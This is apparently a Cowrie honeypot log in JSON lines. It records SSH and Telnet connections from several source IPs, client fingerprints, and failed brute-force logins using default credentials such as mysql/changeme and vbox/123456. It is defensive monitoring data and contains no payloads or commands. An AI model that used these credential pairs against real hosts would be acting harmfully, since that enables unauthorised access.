{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50738,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3224b10500d","protocol":"ssh","message":"New connection: 176.65.132.129:50738 (10.17.0.5:22) [session: d3224b10500d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:29.115736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:29.120432Z","src_ip":"176.65.132.129","session":"d3224b10500d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:29.201883Z","src_ip":"176.65.132.129","session":"d3224b10500d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:29.448617Z","src_ip":"176.65.132.129","session":"d3224b10500d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":45068,"dst_ip":"159.203.135.109","dst_port":23,"session":"a055a4aff456","protocol":"telnet","message":"New connection: 64.227.82.147:45068 (159.203.135.109:23) [session: a055a4aff456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:30.330329Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:30.536657Z","src_ip":"176.65.132.129","session":"d3224b10500d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.72335076332092,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:30.913053Z","src_ip":"38.60.198.128","session":"5e9dbe8c5c26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":45080,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e33538fb980","protocol":"telnet","message":"New connection: 64.227.82.147:45080 (159.203.135.109:23) [session: 2e33538fb980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:31.341606Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50754,"dst_ip":"10.17.0.5","dst_port":22,"session":"71fc05e5f175","protocol":"ssh","message":"New connection: 176.65.132.129:50754 (10.17.0.5:22) [session: 71fc05e5f175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:32.589644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:32.709270Z","src_ip":"176.65.132.129","session":"71fc05e5f175","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:32.714124Z","src_ip":"176.65.132.129","session":"71fc05e5f175","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yarn","password":"yarn","message":"login attempt [yarn/yarn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:33.048000Z","src_ip":"176.65.132.129","session":"71fc05e5f175","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.61304807662964,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:33.483686Z","src_ip":"38.60.198.128","session":"d3e109db9e0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:34.133100Z","src_ip":"176.65.132.129","session":"71fc05e5f175","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00225615501404,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:35.461602Z","src_ip":"38.54.119.93","session":"1a97792c144f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":44142,"dst_ip":"159.203.135.109","dst_port":23,"session":"79a55c887aa4","protocol":"telnet","message":"New connection: 38.60.198.128:44142 (159.203.135.109:23) [session: 79a55c887aa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:35.741614Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34462,"dst_ip":"10.17.0.5","dst_port":22,"session":"b41d9f83201c","protocol":"ssh","message":"New connection: 176.65.132.129:34462 (10.17.0.5:22) [session: b41d9f83201c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:36.033073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:36.038475Z","src_ip":"176.65.132.129","session":"b41d9f83201c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:36.120573Z","src_ip":"176.65.132.129","session":"b41d9f83201c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:36.385702Z","src_ip":"176.65.132.129","session":"b41d9f83201c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.254064083099365,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:36.670901Z","src_ip":"38.60.198.128","session":"0cf08af8bbbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:37.470766Z","src_ip":"176.65.132.129","session":"b41d9f83201c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.94625186920166,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:38.008750Z","src_ip":"38.60.198.128","session":"a5e3cb26d533","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.78749418258667,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:38.117663Z","src_ip":"64.227.82.147","session":"a055a4aff456","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":33208,"dst_ip":"159.203.135.109","dst_port":23,"session":"01014166e4ac","protocol":"telnet","message":"New connection: 192.211.53.160:33208 (159.203.135.109:23) [session: 01014166e4ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:38.865960Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34476,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcaaeecdbea6","protocol":"ssh","message":"New connection: 176.65.132.129:34476 (10.17.0.5:22) [session: dcaaeecdbea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:39.442468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:39.447448Z","src_ip":"176.65.132.129","session":"dcaaeecdbea6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:39.529969Z","src_ip":"176.65.132.129","session":"dcaaeecdbea6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:39.985834Z","src_ip":"176.65.132.129","session":"dcaaeecdbea6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":49822,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7e211bf19a6","protocol":"telnet","message":"New connection: 38.60.198.128:49822 (159.203.135.109:23) [session: a7e211bf19a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:40.672685Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:41.070426Z","src_ip":"176.65.132.129","session":"dcaaeecdbea6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.165.110.55","src_port":50805,"dst_ip":"159.203.135.109","dst_port":23,"session":"87626fcb3286","protocol":"telnet","message":"New connection: 45.165.110.55:50805 (159.203.135.109:23) [session: 87626fcb3286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:41.182733Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47414,"dst_ip":"159.203.135.109","dst_port":23,"session":"7216bbf8f4a9","protocol":"telnet","message":"New connection: 38.60.198.128:47414 (159.203.135.109:23) [session: 7216bbf8f4a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:41.499423Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34492,"dst_ip":"10.17.0.5","dst_port":22,"session":"faa3c869ba8c","protocol":"ssh","message":"New connection: 176.65.132.129:34492 (10.17.0.5:22) [session: faa3c869ba8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:42.999454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:43.009779Z","src_ip":"176.65.132.129","session":"faa3c869ba8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:43.093611Z","src_ip":"176.65.132.129","session":"faa3c869ba8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:43.339049Z","src_ip":"176.65.132.129","session":"faa3c869ba8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":52036,"dst_ip":"10.17.0.5","dst_port":22,"session":"803062aeaa7b","protocol":"ssh","message":"New connection: 198.98.56.227:52036 (10.17.0.5:22) [session: 803062aeaa7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:43.370311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:43.381491Z","src_ip":"198.98.56.227","session":"803062aeaa7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:43.622754Z","src_ip":"198.98.56.227","session":"803062aeaa7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"changeme","message":"login attempt [mysql/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:44.358934Z","src_ip":"198.98.56.227","session":"803062aeaa7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:44.423919Z","src_ip":"176.65.132.129","session":"faa3c869ba8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:45.376456Z","src_ip":"198.98.56.227","session":"803062aeaa7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37824,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d8536ad5ced","protocol":"ssh","message":"New connection: 176.65.132.129:37824 (10.17.0.5:22) [session: 3d8536ad5ced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:46.344648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:46.349495Z","src_ip":"176.65.132.129","session":"3d8536ad5ced","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:46.434919Z","src_ip":"176.65.132.129","session":"3d8536ad5ced","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:46.682147Z","src_ip":"176.65.132.129","session":"3d8536ad5ced","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.903908014297485,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:46.813518Z","src_ip":"38.60.198.128","session":"656c73bf8122","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":35108,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc45a89fc0ec","protocol":"telnet","message":"New connection: 192.211.53.160:35108 (159.203.135.109:23) [session: cc45a89fc0ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:47.629179Z"}
